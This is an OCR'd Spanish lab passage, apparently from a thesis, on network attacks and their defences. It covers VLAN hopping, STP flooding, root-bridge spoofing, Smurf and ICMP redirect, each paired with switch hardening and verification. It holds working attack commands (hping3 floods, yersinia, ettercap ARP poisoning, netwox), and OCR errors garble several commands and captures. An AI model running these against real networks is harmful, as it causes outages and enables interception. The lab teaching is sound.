14 81.87013285¢AsustekC_ee:f6:2a AsustekC_ee:7c:0b ARP 64 10.10.20.2 1s at 48:5b:39:ee:f6:2a

16 101.1861009:10.20.0.1 > 164 Standard query 0x0000 PTR _ftp._ tcp.local, "QM* question PTR _

Frame 11: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface 0
Ethernet II, Src: AsustekC_ee:7c:0b (48:5b:39:ee:7c:0b), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
802.1Q Virtual LAN, PRI: 0, CFI: 0, ID: 30

802.1Q Virtual LAN, PRI: 0, CFI: 0, ID: 20

Address Resolution Protocol (request)

VSS-Monitoring ethernet trailer, Source Port: 0

vy v vwywvw

11 80.86881819tAsustekC_ee:7c:0b Broadcast ARP 66 Who has 10.10.20.27 Tell 10.10.20.100
12 80.86901284!AsustekC_ee AsustekC_ee:7c:0b 64 16,10.20.21s at 48:5b:39:ee:f6:2a
13 81.86993630(AsustekC_ee:7c:0b Broadcast ARP 66 Who has 10.10.20.2? Tell 10.10.20.100
14 81.87013285¢AsustekC_ee: f6:2a AsustekC_ee:7c:0b ARP 64 10.10.20.2 1s at 48:5b:39:ee:f6:2a

16 101.1861009°10.20.0.1 2 25 164 Standard query 0x0000 PTR _ftp._ tcp.local, “QM* question PTR _nfs._tcp.local,

Frame 12: 64 bytes on wire (512 bits), 64 bytes captured (512 bits) on interface @

Ethernet II, Src: AsustekC_ee:f6:2a (48:5b:39:ee:f6:2a), Dst: AsustekC_ee:7c:0b (48:5b:39:ee:7c:0b)
802.1Q Virtual LAN, PRI: 0, CFI: 0, ID: 20

Address Resolution Protocol (reply)

v v oww

Figura 3-4. Capturas wireshark del trafico transcurrido entre ‘A’ y ‘S’

2° [Equipo ‘A’, usuario “root”] Para poder realizar un ataque y aprovechar la brecha, es necesario afiadir
manualmente la entrada de la direccion MAC de S en la tabla ARP. Se afiade una entrada estatica en la tabla
ARP:

ip n add 10.10.20.2 lladdr 48:5b:39:ee:f6:2a dev ethl.30.20 nud permanent
ip n change 10.10.20.2 lladdr 48:5b:39:ee:f6:2a dev ethl.30.20
3°[Equipo ‘A’, usuario “root”’] Se inunda el servidor web de ‘S’ con paquetes TCP SYN:

e En una terminal, se ejecuta de manera indefinida el siguiente comando para que el equipo Servidor
tenga en su tabla ARP la direccion MAC del Atacante y pueda responder los mensajes de sincronizacion
con SYN-ACK:

arping 10.10.20.2

e En otra terminal, se inunda el puerto del servidor web con la bandera SYN activa:
hping3 -S -p 80 --flood 10.10.20.2

4° [Equipo ‘S’, usuario “dit”’] Se comprueban los sockets del puerto 80 que estan a la espera de finalizar el
handshake:

Ss -n state syn-recv
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Recv-Q Send-Q Local Address: Address:
ffff:10.10.20.2] e :10.10.20.100] :2
ffff:10.10.20.2]: - :10.10.20.100] :
ffff:10.10.20.2]: B :10.10.20.100] :
ffff:10.10.20.2]: - :10.10.20.100] :
fff7:10.10.20.2]: - :10.10.20.100] :
ffff:10.10.20.2]: B :10.10.20.100]:2
ffff:10.10.20.2]: - :10.10.20.1008] :
ffff:10.10.20.2]: B :10.10.20.100] :
ffff:10.10.20.2]: - :10.10.20.100]
ffff:10.10.20.2]: B :10.10.20.100]
ffff:10.10.20.2]: B :10.10.20.100] :
ffff:10.10.20.2]: - :10.10.20.100] :
ffff:10.10.20.2]: - :10.10.20.100] :
ffff:10.10.20.2]: H :10.10.20.100] -
fff7:10.10.20.2]: HH :10.10.20.100] :
ffff:10.10.20.2]: B :10.10.20.100] :
ffff:10.10.20.2]: - :10.10.20.100] :
ffff:10.10.20.27: B :10.10.20.100]
o ffff:10.10.20.2]: H :10.10.20.100]
fff7:10.10.20.2]: HH :10.10.20.100]
ffff:10.10.20.2]: B :10.10.20.1008]
ffff:10.10.20.2]: - :10.10.20.1008]
ffff:10.10.20.27: - :10.10.20.100]:19
o fffT:10.10.20.2] H :10.10.260.100] -
ffff:10.10.20.2]: HE :10.10.20.100] :
fff7:10.10.20.2]: - :10.10.20.100] :
ffff:10.10.20.2]: B :10.10.20.100] :
ffff:10.10.20.27: - :10.10.20.100] :
o ffff:10.10.20.2]: H :10.10.26.100] -
ffff:10.10.20.2] e :10.10.20.100] -
ffff:10.10.20.2]: - :10.10.20.100] :
ffff:10.10.20.2]: B :10.10.20.1008]
ffff:10.10.20.27: - :10.10.20.100]
ffff:10.10.20.2]: - :10.10.20.100]
o ffff:10.10.20.2]: H :10.10.20.100] -
ffff:10.10.20.2]: - :10.10.20.100]
o ffff:10.10.20.2]: H :10.10.26.100] -
ffff:10.10.20.2] e :10.10.20.100] -
ffff:10.10.20.2]: - :10.10.20.100]
o ffff:10.10.20.2] H :10.10.20.100]
ffff:10.10.20.2]: - :10.10.20.100]
ffff:10.10.20.2]: - :10.10.20.100] :

[l =N-Rololclclcioloiofcloooleolololcoliclolooloclololcloliolicloiololololololic ol

0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
¢}
0
0
0
0
0
0
0
¢}
0
0
0
0
0
0
0
¢}
0
0
0
0
0

Figura 3-5. Puertos TCP 80 en estado SYN-RECV

3.21.3 Fortificacion

La existencia de una VLAN nativa dentro de un #unk entre conmutadores surge de posibilitar la
retrocompatibilidad con aquellos equipos que pudieran tener problemas con el etiquetado 802.1q [95]. Sin
embargo, esto permite ataques de salto como el que se acaba de demostrar. Para evitarlo, si ningin equipo es
incompatible, se debe configurar la VLAN —en este caso, la VLAN 30— para que sea etiquetada en ambos
conmutadores.

1° [Consola conmutador] La configuracion final de los conmutadores es:

e [Switch “SW25”]

(config)# vlan 30 tagged 6,12

(config)# vlan 20 tagged 12

e [Switch “SW26”]

(config)# vlan 30 untagged 9

(config)# vlan 30 tagged 12

(config)# vlan 20 untagged 2

(config)# vlan 20 tagged 12

3.21.4 \Verificacion de la defensa

Una vez configurado como fagged todas las VLAN entre los conmutadores, si se intenta repetir el ataque o,
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simplemente, enviar un ping desde ‘A’ hasta ‘S’, los mensajes ya no llegan.

A diferencia de otros ataques, este ataque no puede ser observado por la herramienta debug, traps SNMP o los
registros del conmutador ya que, desde su perspectiva, se trata de una mala configuracion de los equipos y/o de
las VLANS y no un intento de ataque.

3.22

3.2.21

Inundacion de TCBPDUs

Preparacion del escenario

—&

10.10.24.24/24
eth0: 48:5bh:39:ee:f6:2a

24 14
it -
= swi | g =
SRR S
10.10.1.9/24 10.10.1.2/24
eth0: 48:5b:39:cc:a7:12 eth0: 48:5h:39:ef:22:2d
10.1.0.6/24 10.1.0.7/24

ethO: 00:4f:4e:0f:a0:8d

ethl: 48:5b:39:ee:7c:0b

Figura 3-6. Escenario del ataque 7.2.2

Atacante, cliente y servidor se encuentran los tres en la misma subred interconectados por dos conmutadores,
siendo suficiente la VLAN por defecto. Para evitar bucles, los conmutadores ejecutan STP para configurar su
topologia. ‘C’ y ‘S’ estan conectados cada uno a un conmutador, mientras que ‘A’ estd simultaneamente
conectado a ambos.

Se realizan las siguientes operaciones:

1° [Usuario “root”] Se configuran las tarjetas de red correspondientes acorde al esquema:

.
ip
ip
ip
ip
.

ip
ip
ip
ip
.

ip

[Equipo “S’]
a flush dev etho
a add 10.10.1.2/24 dev ethe
1 set etho up
a 1s dev ethe
[Equipo ‘C’]
a flush dev etho
a add 10.10.1.9/24 dev ethe
1 set etho up
a 1s dev ethe
[Equipo ‘A’]
a flush dev etho
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ip a add 10.10.1.6/24 dev ethe
ip 1 set etho up

ip a 1ls dev etheo

ip a flush dev ethl

ip a add 10.10.1.7/24 dev ethl
ip 1 set ethl up

ip a 1s dev ethl

e [Equipo ‘G’]

ip a flush dev ethe

ip a add 10.10.24.24/24 dev ethe
ip 1 set etho up

ip a 1s dev ethe

2° [Consola conmutadores “SW1” y “SW2”] En ambos conmutadores, se habilita STP para evitar el bucle
formado por los puertos 12 y 14:

(config)# spanning-tree enable

3° [Consola conmutador “SW1”] Se reserva la VLAN 24 y su correspondiente puerto para la gestion del
conmutador:

(config)# vlan 24 name gestion

(config)# management-vlan 24

(config)# vlan 24 ip address 10.10.24.1/24
(config)# vlan 24 untagged 24

3.2.2.2  Objetivo del ataque: DoS de la red
1° [Equipo ‘A’, usuario “root”] Por cualquiera de las interfaces configuradas, se envia continuamente BPDUs
conel bit TC a ‘1°. En el caso de elegir la interfaz ethO:

yersinia stp -attack 3 -interface ethe

Hasta que el comando no es detenido, los conmutadores descartan cualquier mensaje que le llega por los puertos
que no sean CBPDU .

3.2.2.3 Fortificacion

Los conmutadores pueden ser configurados para que solo acepten CBPDUs provenientes de puertos asignados
por el administrador. De esta forma, se rechaza cualquier CBPDU desconocida, pudiendo asumir que su
intencion es maligna. Si bien la funcion fen-guard deshabilita la propagacion de BPDUs con el bit TC activado,
bpdu-protection descarta cualquier CBPDU que no provenga de los puertos asignados. Ademads, es capaz de
bloquear temporal o permanentemente el puerto del que ha llegado la trama maliciosa.

1° [Consola conmutadores “SW1” y “SW2”’] Se indican los puertos que no deben presentar trafico de BPDUs
— todos aquellos que no son los puertos 12 o 14:

(config)# spanning-tree 1-11,13,15-24 bpdu-protection

e Opcionalmente, se puede ejecutar el siguiente comando para limitar los segundos que el puerto
permanece bloqueado (por defecto, es permanente):

(config)# spanning-tree bpdu-protection-timeout 60

2° [Consola conmutador “SW1”’] Para que el conmutador pueda enviar los traps SNMP:
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e Se activa el modulo snmp-servery se indica la direccion a la que debe enviar los mensajes:
(config)# snmp-server enable
(config)# snmp-server host 10.10.24.24 community public trap-level all
e Seactiva el envio de traps para cuando llegue alguna BPDU por un puerto protegido:
(config)# spanning-tree trap errant-bpdu

3° [Equipo ‘G’, usuario “root”] Se inicia la aplicacion snmptrapd ' para recibir y registrar los traps:
e Se modifica el fichero de configuracion para que contenga las siguientes lineas:

/etc/snmp/snmptrapd.conf

[..]
authCommunity log public

disableAuthorization yes

e Se lanza la aplicacion con los parametros pertinentes para que registre los mensajes recibidos en un
fichero:

snmptrapd -A -d -n -Lf /var/log/snmptrapd.log

e Opcionalmente, en una consola aparte se puede ejecutar el siguiente comando para leer los tltimos fraps
recogidos en el fichero .log. Se recomienda maximizar la ventana o reducir el nimero “del argumento
-n” para adaptarse al tamafio de la consola:

watch tail -n 25 /var/log/snmptrapd.log

3.2.24 Verificacion de la defensa
Al repetirse el ataque, se puede observar en el propio conmutador como los puertos a los que el atacante esta
conectado se bloquean, apagandose los LEDs correspondientes.

1° [Consola “SW1”, “SW2”] Se inspeccionan los registros (logs) guardados tras la defensa del ataque.
Opcionalmente, para mostrar los Gltimos registros primero y los mensajes de nivel warning (como lo son en este
caso), se afiaden las opciones entre corchetes:

# show logging [-r] [-w]

W 01/01/90 01:59:17 00840 stp: port 6 disabled - BPDU received on protected
port.

I 01/01/90 01:59:17 00898 ports: BPDU protect(5) has disabled port 6
I 01/01/90 01:59:17 00077 ports: port 6 is now off-line

Figura 3-7. Registro del conmutador tras bloqueo con bpdu-protection

2° [Equipo ‘G’, usuario ‘root’] Se comprueba en la consola donde se muestra la informacion del fichero .log
como ha aparecido un nuevo trap:

12 El uso de snmptrapd frente a otra herramienta de monitorizacion SNMP se debe a que se encuentra preinstalada en el sistema operativo
utilizado y su sencillez en la configuracion.
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3:48 00435 port
: port 6 is Blo
cked by STP

2024-01-29 10:19:51 10.10.24.1(via UDP: [10.10.24.1]:161->[10.10.24.24]:162) TRAP, SNMP v1, community|
public
SNMPv2-SMI::enterprises.11.2.3.7.11.129 Enterprise Specific Trap (2) Uptime: 0:23:35.28
RMON-MIB: :eventDescription.435 = STRING: I 01/01/90 00:23:48 00435 ports: port 6 is Blocked b

119 byte packet from UDP: [10.10.24.1]:161->[10.10.24.24]:162
75 02 01 04 06 75 62 6C 69 63 A4 68 06 Ou public.h.
2B 06 0! 4 0! 03 0B 81 01 4 / . ....@.
18 02 43 83 82 29 A4 30 4
30 45 01 09 01 / / OE. .+ L.
] 3 3 30 3 2F 39 30 20 30 30 3A 3 61 01/01/90 00:2
3 3A 35 3 30 30 3 37 36 20 70 6 4 73 3:50 00076 ports
20 ] 4 36 20 69 73 20 6E 6 : port 6 is now
6E ] 9 6E 6" on-line

2024-01-29 10:19:53 10.10.24.1(via UDP: [10.10.24.1]:161->[10.10.24.24]:162) TRAP, SNMP v1, community|
public
SNMPv2-SMI: :enterprises.11.2.3.7.11.129 Enterprise Specific Trap (2) Uptime: 0:23:37.32
RMON-MIB: :eventDescription.76 = STRING: I 01/01/90 00: 50 00076 ports: port 6 is now on-lin

Figura 3-8. traps de bloqueo y desbloqueo mediante bpdu-protection
3.2.3 Suplantacion del puente raiz

3.2.3.1  Preparacion del escenario

Para este ataque, se sigue el mismo esquema y los mismos pasos que en el escenario del ataque 3.2.2.

3.23.2 Objetivo del ataque: MitM

1° [Equipo “A’, usuario “root’] Se reclama el puerto del conmutador como raiz por ambas interfaces del equipo:
yersinia stp -attack 4 -interface ethe -interface ethl

Para conseguir interceptar los mensajes entre cliente y servidor —y de otros equipos cuyo trafico tuviera que
atravesar los conmutadores— es necesario que el atacante actiie como un conmutador. De lo contrario, solo se
conseguiria una denegacion de servicio de la red, como en el ataque anterior. Para ello:

2° [Equipo ‘A’, usuario “root”] Desde una nueva terminal, se configuran las interfaces para que todo el trafico
que entre por una de ellas salga por la otra:

ip 1 add name bro type bridge
ip 1 set dev bro up

ip 1 set dev eth@ master bro
ip 1 set dev ethl master bre

Ahora, el esquema virtual de la red es el reflejado en la Figura 3-9:
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sSwil

Figura 3-9. Esquema de la VLAN 1 tras el ataque 0

3° [Equipo ‘A’] Para observar el trafico entre ‘C’ y ‘S’, se abre wireshark en segundo plano:

wireshark &

4° [Equipo ‘C’, usuario “dit”] Se comprueba la conexion enviando un ping a ‘S’:

ping -c 1 10.10.1.2

Si se comprueba el trafico recogido por las interfaces ethQ y ethl, se puede observar como el ping pasa
transparentemente por ‘A’. La duplicidad de los mensajes se debe a la conmutacion del paquete por ambas
interfaces:

3926 2619.
3927 2619.

3928 2619
3929 2619

3930 2619.
3931 2619.

3932 2619
3933 2619

3.23.3

4583056...
4584079...
.4585121...
.4586117...
4582834..
4584295...
.4585063...
.4586163...

ASUSTekC_cc
ASUSTekC_ee
10.10.1.9
10.10.1.2
ASUSTekC_ee
ASUSTekC_cc
10.10.1:9
10.10.1.6

:a7:12
:f6:2a

:f6:2a
:a7:12

Broadcast
ASUSTekC_cc:a7:12
10.10.1.2
108.1071:9
Broadcast
ASUSTekC_ee:f6:2a
10.10.1.6
10.10.1.9

ARP
ARP
ICMP
ICMP
ARP
ARP
ICcMP
ICcMP

60 Who has 10.10.1.2?Tell 10.10.1.9
60 10.10.1.2 is at 48:5b:39:cc:a7:12
98 Echo (ping) request 1id=0x111b, seq=1/256,
98 Echo (ping) reply id=0x111b, seq=1/256,
60 Who has 10.10.1.2?Tell 160.10.1.9
60 10.10.1.2 is at 48:5b:39:cc:a7:12
98 Echo (ping) request 1d=0x111b, seq=1/256,
98 Echo (ping) reply id=0x111b, seq=1/256,

Figura 3-10. Captura wireshark de ‘A’ actuando como conmutador

Fortificacion

ttl=64 (reply in
tt1=64 (request

tt1l=64 (reply in
ttl=64 (request

La fortificacion de este ataque sigue los mismos pasos que el apartado 3.2.2.3. Para este ataque no existe un
comando alternativo a bpdu-protection™.

3.2.34

Verificacion de la defensa

La verificacion de esta defensa se realiza de la misma forma que en el apartado 3.2.2.4.

13 Si se ejecutase MSTP, si existe una alternativa: root-guard. Esta funcionalidad pasa del estado alternativo al bloqueado en aquellos puertos

que se reciben una STP BPDU mejor. La sintaxis es idéntica a bpdu-protection.
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3.3 Ataques sobre protocolos de capa red

Nivel Herramientas de ataque
; ?
A victima/defensa dlecue utilizadas
Si
Smurf L3/L2 Adaptacion de ataque hping3
[16]
o Si
Redireccion L3/1.2 netwox, ettercap
Nuevo ataque
Source Quench L3/1.2 No* netwox

Tabla 3-4. Ataques realizados sobre protocolos de capa red

* Ataque Source Quench: los sistemas operativos contemporaneos ignoran los mensajes ICMP Source Quench.
En las distribuciones Linux, desde 2004, se ignoran por completo este tipo de mensajes tal y como recoge el
estandar propuesto RFC 6633 [19]. Para la prueba de este ataque, se ha optado por utilizar una maquina virtual
con el sistema operativo Red Hat 8.0 (afio 2002) que si podria ser vulnerable, aunque no se ha obtenido el
resultado esperado. En el Anexo C se detallan los pasos seguidos para intentar replicar este ataque.

3.31 Smurf

3.3.1.1  Preparacion del escenario

Para este ataque se sigue el esquema de red genérico de la Figura 3-1 siguiendo los pasos detallados en el
apartado 3.1.1. Adicionalmente:

1° [Equipo °S’, usuario “root”] Se comprueba que ‘S’ no ignore los mensajes ICMP Echo:
cat /proc/sys/net/ipv4/icmp_echo_ignore_all

e Por defecto, el valor debe estar a ‘0’; es decir, debe responder los mensajes ICMP Echo. Si estuviera a
‘1, se configura para que no los ignore con cualquiera de los siguientes comandos:

echo "@" > /proc/sys/net/ipv4/icmp_echo_ignore_all

sysctl -w net.ipv4.icmp_echo_ignore_all=0

3.3.1.2  Objetivo del ataque: DoS del cliente ‘C’

1° [Equipo ‘A’, usuario “root”] Se envian masivamente solicitudes ICMP Echo al servidor con la direccion IP
de ‘C:
hping3 --icmp --flood -a 10.10.1.9 10.10.1.2

El equipo del cliente, hasta que la ejecucion no es cancelada por el atacante, recibe de forma constante mensajes
ICMP Echo Reply no solicitados.

2° [Equipo ‘C’, usuario “root”] Se comprueba con wireshark la llegada masiva de los mensajes:
wireshark &

Se recomienda capturar y parar rapidamente la captura para evitar que la maquina se congele al procesar los
mensajes. En la columna time de la Figura 3-11 se puede apreciar el poco margen de tiempo entre mensajes.
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23239 11.00113834(10.10.1.2 10.10.1.9 IcMe 60 Echo (ping) reply 1d=0xc515, seq=50522/23237, ttl=64
23240 11.00114105¢10.10.1.2 10.10.1.9 ICMP 60 Echo (ping) reply 1d=0xc515, seq=50778/23238, ttl=64
23241 11.00114276:10.10.1.2 10.10.1.9 Icme 60 Echo (ping) reply 1d=0xc515, seq=51034/23239, ttl=64
23242 11.00114467:10.10.1.2 10.10.1.9 IcMpP 60 Echo (ping) reply 1d=0xc515, seq=51290/23240, ttl=64
23243 11.00114738.10.10.1.2 10.10.1.9 IcMe 60 Echo (ping) reply 1d=0xc515, seq=51546/23241, ttl=64
23244 11.00125324{10.10.1.2 10.10.1.9 ICMP 60 Echo (ping) reply 1d=0xc515, seq=51802/23242, ttl=64
23245 11.00125893¢160.10.1.2 10.106.1.9 Icme 60 Echo (ping) reply 1d=0xc515, seq=52058/23243, ttl=64
23246 11.00126352:10.160.1.2 10.10.1.9 ICMP 60 Echo (ping) reply 1d=0xc515, seq=52314/23244, ttl=64
23247 11.00126551:10.10.1.2 10.10.1.9 IcMe 60 Echo (p1ing) reply 1d=0xc515, seq=52570/23245, ttl=64
23248 11.00126739:10.10.1.2 10.10.1.9 ICcMP 60 Echo (ping) reply 1d=0xc515, seq=52826/23246, ttl=64
23249 11.600127030:10.10.1.2 10.10.1.9 IcMep 60 Echo (ping) reply 1d=0xc515, seq=53082/23247, ttl=64
23250 11.00127299:10.10.1.2 10.10.1.9 ICMP 60 Echo (ping) reply 1d=0xc515, seq=53338/23248, ttl=64

Figura 3-11. Llegada masiva de ICMP Echo Reply

3.3.1.3  Fortificacion

Para la defensa a este ataque se utiliza la tabla DHCP Snooping del conmutador. En ella se recoge en cada fila
un cuarteto unico de valores: puerto del conmutador de entrada, VLAN, MAC y direccion IP del equipo. Esta
tabla es unica en el dispositivo y no sirve unicamente para proteger a la red de ataques DHCP. Utilizando la
herramienta IP Source Lockdown, la tabla DHCP Snooping puede servir para prevenir los ataques con

suplantacion de IP.

1° [Consola conmutador] Se habilita el mecanismo IP Source Lockdown mediante los siguientes pasos:
e Seactiva el modulo dhcp-snooping y se aplica en la VLAN por defecto:
(config)# dhcp-snooping
(config)# dhcp-snooping vlan 1

e A continuacion, se activa [P Source Lockdown y se asigna a los puertos donde estan conectados los
equipos:

(config)# ip source-lockdown

(config)# ip source-lockdown 2,6,9

o Finalmente, se fijan los valores del puerto, direccion IP, VLAN y MAC para que, cuando intente enviar
mensajes con algun campo alterado, se descarten al llegar al conmutador:

(config)# ip source-binding 1 10.10.1.2 48:5b:39:ef:22:2d 2
(config)# ip source-binding 1 10.10.1.6 48:5b:39:ee:7c:0b 6
(config)# ip source-binding 1 10.10.1.9 48:5b:39:cc:a7:12 9
e Se puede observar la configuracion mediante:

# show ip source-lockdown bindings

Dynamic IP Lo wn Bindings

Not in HW

Figura 3-12. Entradas /P Source Lockdown de la tabla DHCP Snooping

2° [Consola conmutador] Se indica al conmutador que muestre por pantalla los paquetes que han sido rechazados
mediante [P Source Lockdown:

(config)# debug security dynamic-ip-lockdown
(config)# debug destination session

3° [Consola conmutador] Se activa el envio de traps para cuando descarte algiin paquete con IP Source
Lockdown:
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(config)# snmp-server enable traps dyn-ip-lockdown

3.3.1.4 \Verificacion de la defensa

Cada vez que por la VLAN y el puerto indicado llega un mensaje que no cumple la direccion MAC o IP indicada,
se bloquea el paquete y se impide la suplantacion por parte de ‘A’. Es posible que, tanto la aparicion de los
mensajes debug como el envio de los traps a ‘G’, se demoren hasta 5 minutos. Durante este periodo se registra
el nimero de paquetes bloqueados, evitando asi una generacion masiva de informacion.

Figura 3-13. Mensaje debug de paquetes bloqueados por IP Source Lockdown
1° [Consola conmutador] Una vez aparezcan los mensajes, se detiene la impresion:
(config)# no debug all

2° [Consola conmutador] Adicionalmente, se puede inspeccionar los registros (logs) guardados tras la defensa
del ataque. Opcionalmente, para mostrar los ultimos registros primero y los mensajes de nivel warning (como
lo son en este caso), se afiaden las opciones entre corchetes:

# show logging [-r] [-w]

Keys : W=Warning

Figura 3-14. Registros de paquetes bloqueados por IP Source Lockdown

3° [Equipo ‘G’, usuario ‘root’] Se comprueba en la consola donde se muestra la informacion del fichero .log
codmo ha aparecido un nuevo frap:

Received 197 byte packet 10.10.24.1]:161->[10.10.24.24]:162
PEEO: 30 81 C2 02 01 0O ] 9 63 . public..
/ 2B 01 81
18 102 3 08
30 1 8F 10
4 JF 5 2F : ..
3 38 3 9 38 31 8:24 00981
3A 3 20 64 6! dipld: Access de
31 3 39 2 nied 10.10.1.9 -
31 3 6F / > 10.10.1.2 port
20 20 [
35 33 35 70 72 65 63 3535 packets rec
69 76 6! 4 20 6C 61 73 74 eived since last
0192: 6C 6F 6 log.

) C 58]
O~ WNDWNDo O
PO MUD TENWKN

2024-01-29 11:34:27 10.10.24.1(via UDP: [10.10.24.1]:161->[10.10.24.24]1:162) TRAP, SNMP v1, communityj]
public
SNMPv2-SMI: :enterprises.11.2.3
RMON-MIB: :eventDescription.981
.1.9 -> 10.10.1.2 port 6,
3535 packets received since last log.

11.129 Enterprise Specific Trap (2) Uptime: 1:38:10.85
STRING: W 01/01/90 01:38:24 00981 dipld: Access denied 10.10

7.

Figura 3-15. Trap por bloqueo con /P Source Lockdown
3.3.2 Redireccion

3.3.21  Preparacion del escenario

El ataque de redireccion puede ser llevado a cabo con el conmutador SW2620. Se puede aprovechar su capacidad
de enrutamiento para evitar utilizar un cuarto dispositivo, reduciendo asi el nimero de elementos en el escenario.
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—

10.10.24.24/24
eth0: 48:5b:39:ee:f6:2a

[
LEEN0 10.10.20.1/24  10.10.30.1/24 LD
10.10.30.9/24 10.10.20.2/24
eth0: 48:5b:39:cc:a7:12 eth0: 48:5b:39:ef:22:2d

10.10.30.6/24
ethl: 48:5b:39:ee:7c:0b

Figura 3-16. Escenario ataque redireccion

1° [Usuario “root”] Se configuran las tarjetas de red y tablas de encaminamiento correspondientes acorde al
esquema, es decir:

e [Equipo ‘S’]
ip a flush dev ethe
ip a add 10.10.20.2/24 dev ethe
ip 1 set ethe up
ip a 1ls dev ethe
ip r add 10.10.30.0/24 via 10.10.20.1
e [Equipo ‘C’]
ip a flush dev ethe
ip a add 10.10.30.9/24 dev ethe
ip 1 set eth@ up
ip a 1s dev ethe
ip r add 10.10.20.0/24 via 10.10.30.1
e [Equipo ‘A’]
ip a flush dev ethl
ip a add 10.10.30.6/24 dev ethl
ip 1 set ethl up
ip a 1s dev ethl
ip r add 10.10.20.0/24 via 10.10.30.1
e [Equipo ‘G’]
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ip a flush dev ethe
ip a add 10.10.24.24/24 dev etho
ip 1 set ethe up
ip a 1ls dev etheo
2° [Consola conmutador] Se reserva la VLAN 24 y su correspondiente puerto para la gestion del conmutador:
(config)# vlan 24 name gestion
(config)# management-vlan 24
(config)# vlan 24 ip address 10.10.24.1/24
(config)# vlan 24 untagged 24
3° [Consola conmutador] Se asignan las VLANS a los puertos correspondientes:
(config)# vlan 30 untagged 6,9
(config)# vlan 20 untagged 2
4° [Consola conmutador| Configuramos el conmutador para que pueda enrutar los paquetes entre VL ANS:
e Se activa la funcionalidad de enrutamiento:
(config)# ip routing
e Asignamos direcciones IP a cada entrada virtual del rtter seglin se indica en el esquema:
(config)# vlan 20 ip address 10.10.20.1/24
(config)# vlan 30 ip address 10.10.30.1/24
En este punto es posible comprobar como se pueden comunicar ‘C’, ‘S’, y ‘A’ a través del conmutador.
5° [Equipo ‘C’, usuario “root”] Se comprueba que ‘C’ acepta los mensajes de redireccion:
cat /proc/sys/net/ipv4/conf/all/accept_redirect
cat /proc/sys/net/ipv4/conf/all/secure_redirect
cat /proc/sys/net/ipv4/conf/all/send_redirect
e Sialgun valor estuviera a ‘1°, se habilita con cualquiera de los dos métodos:
echo "1" > /proc/sys/net/ipv4/conf/all/PARAMETRO_A MODIFICAR
sysctl -w net.ipv4.conf.all.PARAMETRO_A_MODIFICAR=1

3.3.2.2 Objetivo del ataque: sniffing unidireccional
1° [Equipo ‘A’, usuario “root”] Para poder actuar como un enrutador, se habilita la capacidad de reenvio en ‘A’
con echo o sysctl:

echo "1" > /proc/sys/net/ipv4/ip_forward

sysctl -w net.ipv4.ip_forward=1

2° [Equipo ‘A’, usuario “root”’] En consolas separadas:

e Se envenenan las tablas ARP momentaneamente, interceptando la comunicacion entre el cliente ‘C’ y
su pasarela:

ettercap -T /10.10.30.1// /10.10.30.9// -M arp

e Se prepara el envio del mensaje de redireccion para que, al detectar un mensaje proveniente de ‘C’, se
le mande:

netwox 86 --device ethl --filter “src host 10.10.30.9” --gw 10.10.30.6 --src-ip
10.10.30.1
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3°[Equipo ‘A’, usuario “dit”] Se inicia wireshark para ver cuando se envia el mensaje de redireccion:
wireshark &

4° [Equipo ‘C’, usuario “dit”] Se envia cualquier mensaje con destino a ‘S’. Por ejemplo:
ping 10.10.20.2

5° [Equipo ‘A’, usuario “root”’] Cuando en la captura aparezca el envio del ICMP Redirect, ya no es necesario
que ettercap y netwox sigan activos. Se cierran las consolas asociadas a ambos ataques.

54 16 18.168.36.1 18.168.38.9 ICMP 78 Redirect (Redirect for host)

55 16 1 .1 .9 ICMP 70 Redirect (Redirect for host)

56 17.508124.. 10.16.38.9 19.18.28.2 ICMP 98 Echo (ping) request id=-Bx@ec8, seq=7/1792, ttl-64 (no response found!)
57 17.568426.. 10.16.30.9 10.18.28.2 ICMP 98 Echo (ping) request id=Bx@ec8, seq=7/1792, ttl-64 (reply in 58)

58 17.50438.. 10.10.20.2 10.18.308.9 ICMP 98 Echo (ping) reply id=0xBec8, seq=7/1792, ttl=63 (request in 57)

59 17.51224.. 10.10.20.2 10.10.30.9 ICMP 98 Echo (ping) reply  id=8x@ec8, seq=7/1792, ttl=63

60 17.68743.. ASUSTek(C_ee:7c:0b HewlettP_bd:48:88 ARP 42 18.10.38.9 is at 48:5b:39%:cc:a7:12

61 17.60747.. ASUSTek(C_ee:7c:0b ASUSTekC_cc:a7:12 ARP 42 19.10.30.1 is at a@:48:1c:b4:48:80

62 18.50235.. 19.10.38.9 10.18.28.2 ICMP 98 Echo (ping) request id=8xBec8, seq=8/2048, ttl-64 (no response found!)
63 18.50422.. 10.10.30.9 10.18.28.2 ICMP 98 Echo (ping) request id=-8x@ec8, seq=8/2048, ttl-64 (no response found!)

Figura 3-17. Captura wireshark del envio de mensajes ICMP Redirect

Ahora, el curso del trafico entre ‘C’ y “S’ pasa antes por ‘A’. En la Figura 3-18. Flujo de mensajes ICMP Echo
entre ‘C’ y ‘S’ una vez redirigido se puede observar que el campo MAC destino es, efectivamente, la maquina
del atacante.

6@ 67.830440600 10.18.38.9 19.10.26.2 ICMP 98 Echo (ping) request id=8x111d, seq=12/3872, ttl=64 (reply in 61)
61 67.830640018 10.10.20.2 10.10.30.9 cMp 98 Echo (ping) reply  id=Bx11ld, seq=12/3872, ttl=63 (request in 6@)
62 70.830104538 10.10.30.0 10.10.20.2 IcMp 98 Echo (ping) request id=8x11ld, seq=13/3328, ttl=64 (reply in 63)
63 70.830394906 10.18.20.2 10.10.30.9 IcMP 98 Echo (ping) reply  id=ex111d, seq=13/3328, ttl=63 (request in 62)
64 73.831518421 10.10.30.9 10.10.20.2 ICHP 98 Echo (ping) request id=ex111ld, seq=14/3584, ttl=64 (reply in 65)
65 73.831725504 10.10.20.2 10.10.30.9 ICMP 98 Echo (ping) reply  id=8x11ld, seq=14/3584, ttl=63 (request in 64)

Frame 6@: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface ethe, id @
v Ethernet II, Src: ASUSTekC cc:a7:12 (48:5b:39:cc:a?:12), Dst: ASUSTekC ee:7c:8b (48:5b:39:ee:7c:@b)
Destination: ASUSTekC_ee:7c:@b (48:5b:39:ee:7c:éb)
Source: ASUSTekC_cc:a7:12 (48:5b:309:cc:a7:12)
Type: IPu4 (@x8508)
Internet Protocol Version 4, Src: 10.18.30.9, Dst: 19.10.28.2
Internet Control Message Protocol

Figura 3-18. Flujo de mensajes ICMP Echo entre ‘C’ y ‘S’ una vez redirigido

3.3.2.3 Fortificacion

1° [Consola conmutador] Se activa el modulo dhcp-snooping y se aplica en la VLAN correspondiente:
